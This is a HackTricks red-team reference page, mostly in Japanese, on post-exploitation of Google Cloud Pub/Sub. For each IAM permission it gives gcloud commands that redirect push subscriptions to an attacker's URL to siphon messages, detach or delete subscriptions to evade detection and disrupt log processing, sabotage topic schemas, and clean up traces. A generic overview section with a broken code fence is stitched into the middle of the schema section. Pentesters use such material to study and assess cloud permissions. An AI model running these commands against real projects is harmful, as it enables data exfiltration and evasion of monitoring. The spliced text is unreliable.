GCP - Pub/Sub Post Exploitation

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Pub/Sub

Pub/Subに関する詳細情報は、以下のページを参照してください:

GCP - Pub/Sub Enum

pubsub.topics.publish

トピックにメッセージを公開します。これは、予期しないデータを送信し、予期しない機能をトリガーしたり、脆弱性を悪用したりするのに役立ちます:

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

検出を避けるために、サブスクリプションがメッセージを受信しないようにするのに役立ちます。

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

サブスクリプションがメッセージを受信するのを防ぐために役立ちます。検出を避けるためかもしれません。 サブスクリプションが付いているトピックでも削除することが可能です。

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

この権限を使用して、トピックの設定を更新し、--clear-schema-settings--message-retention-duration--message-storage-policy-allowed-regions--schema--schema-project--topic-encryption-keyなどを変更して妨害します。

pubsub.topics.setIamPolicy

前述の攻撃を実行するための権限を自分に付与します。

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Webサーバーで全てのメッセージを取得します:

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

サブスクリプションを作成し、メッセージをプルするために使用します:

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

サブスクリプションの削除 は、ログ処理システムや類似のものを妨害するのに役立つ可能性があります:

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

この権限を使用して、メッセージがアクセス可能な場所(URL、Big Query table, Bucket)に保存されるように設定を更新するか、単にそれを妨害します。

gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>

pubsub.subscriptions.setIamPolicy

以前にコメントした攻撃を実行するために必要な権限を自分に付与します。

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

スキーマをトピックにアタッチしてメッセージがそれを満たさないようにし、トピックを混乱させます。 スキーマが存在しない場合は、新しく作成する必要があるかもしれません。

schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}
## GCP Pub/Sub Post Exploitation

### Overview
GCP Pub/Subは、メッセージングサービスであり、アプリケーション間のメッセージの送受信を可能にします。攻撃者は、Pub/Subを悪用してデータを漏洩させたり、他の悪意のある活動を行うことができます。

### Enumeration
Pub/Subのリソースを列挙することで、攻撃者は利用可能なトピックやサブスクリプションを特定できます。以下のコマンドを使用して、Pub/Subのリソースを列挙します。

```bash
gcloud pubsub topics list
gcloud pubsub subscriptions list

Data Exfiltration

攻撃者は、Pub/Subを使用してデータを外部に漏洩させることができます。例えば、機密データを含むメッセージを特定のトピックに公開し、外部のサブスクリプションで受信することができます。

Persistence

Pub/Subを使用して持続性を確保することも可能です。攻撃者は、特定のトピックに悪意のあるメッセージを定期的に公開し、これをトリガーとして他の悪意のある活動を実行することができます。

Cleanup

攻撃の痕跡を隠すために、攻撃者は使用したトピックやサブスクリプションを削除することが重要です。以下のコマンドを使用して、トピックやサブスクリプションを削除します。

gcloud pubsub topics delete <TOPIC_NAME>
gcloud pubsub subscriptions delete <SUBSCRIPTION_NAME>

Conclusion

GCP Pub/Subは強力なメッセージングサービスですが、攻撃者に悪用される可能性もあります。適切なセキュリティ対策を講じることで、これらのリスクを軽減することが重要です。

```bash
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json

pubsub.schemas.delete

これはスキーマを削除することで、スキーマに適合しないメッセージを送信できるようになるように見えるかもしれません。しかし、スキーマが削除されると、実際にはメッセージはトピック内に入らなくなります。したがって、これは無意味です。

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.setIamPolicy

以前にコメントした攻撃を実行するために必要な権限を自分に付与します。

pubsub.snapshots.create, pubsub.snapshots.seek

これは、すべての未ACKメッセージのスナップショットを作成し、それらをサブスクリプションに戻します。攻撃者にとってはあまり有用ではありませんが、以下に示します:

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする

Last updated